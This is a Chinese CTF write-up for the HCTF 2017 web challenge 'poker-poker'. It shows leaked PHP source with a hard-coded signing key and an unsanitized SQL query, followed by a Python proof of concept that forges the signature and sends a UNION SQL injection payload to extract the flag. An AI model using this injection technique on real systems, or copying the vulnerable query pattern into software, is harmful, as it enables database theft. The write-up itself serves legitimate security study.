poker-poker

发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Web
Challenge | 2017 | HCTF | Web | poker-poker

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

这题就比较难受了，看了大家传上来的wp，没有一份是预期解。由于游戏程序比较多，我也没全部看过，就找了一处隐蔽的有回显注入点，但是有一些前置条件。
题目提示是pspt，访问发现跳转到pspt/并且状态403，说明存在pspt目录。
pspt目录下存在robots.txt。

```
Disallow: /pspt/inf/queryUserRole.php
Sitemap: http://domain.com/sitemap.xml
```

直接访问/pspt/inf/queryUserRole.php提示error1。该目录下存在.bak文件，泄漏了源码。

```
<?php
require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php');
if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) {
    die('error1');
}

$time = time();
if ($_GET['valid_date'] <= $time) {
    die('error2');
}
$encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM';
$flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey);
if ($flag != $_GET['sign']) {
    die('error3');
}

$arr = $_pm['mysql'] -> getOneRecord("SELECT id,nickname FROM player WHERE name = '{$_GET['user_account']}'");

if (!is_array($arr)) {
    die('error4');
}

$str = $arr['id'].'&'.$arr['nickname'];
$newstr = iconv('utf8','utf-8',$str);
echo $newstr;
unset($time,$arr,$str);
?>
```

此处泄漏了encryKey，只要有这个encryKey，我们可以根据源码写出注入payload。
poc:

```
import requests
import time
import hashlib
import urllib2

def getMd5(data):
    data = str(data)
    t = hashlib.md5()
    t.update(data)
    return t.hexdigest()

def hack(payload="admin"):
    user_account = urllib2.quote(payload)
    valid_date = int(time.time())+10000
    sign = getSign(user_account, valid_date)
    url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign
    req = requests.get(url = url)
    print req.content

def getSign(user_account, valid_date):
    user_account = urllib2.unquote(user_account)
    encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'
    sign = getMd5(str(user_account) + str(valid_date) + encryKey)
    return sign

hack("adminss' union all select 111,flag from hctf.flag2#")
```

flag就在hctf库里的hctf2表里。 而大家找到的其他注入点

Flag

```
无
```

Challenge # Web # 2017 # HCTF
poker
A World Restored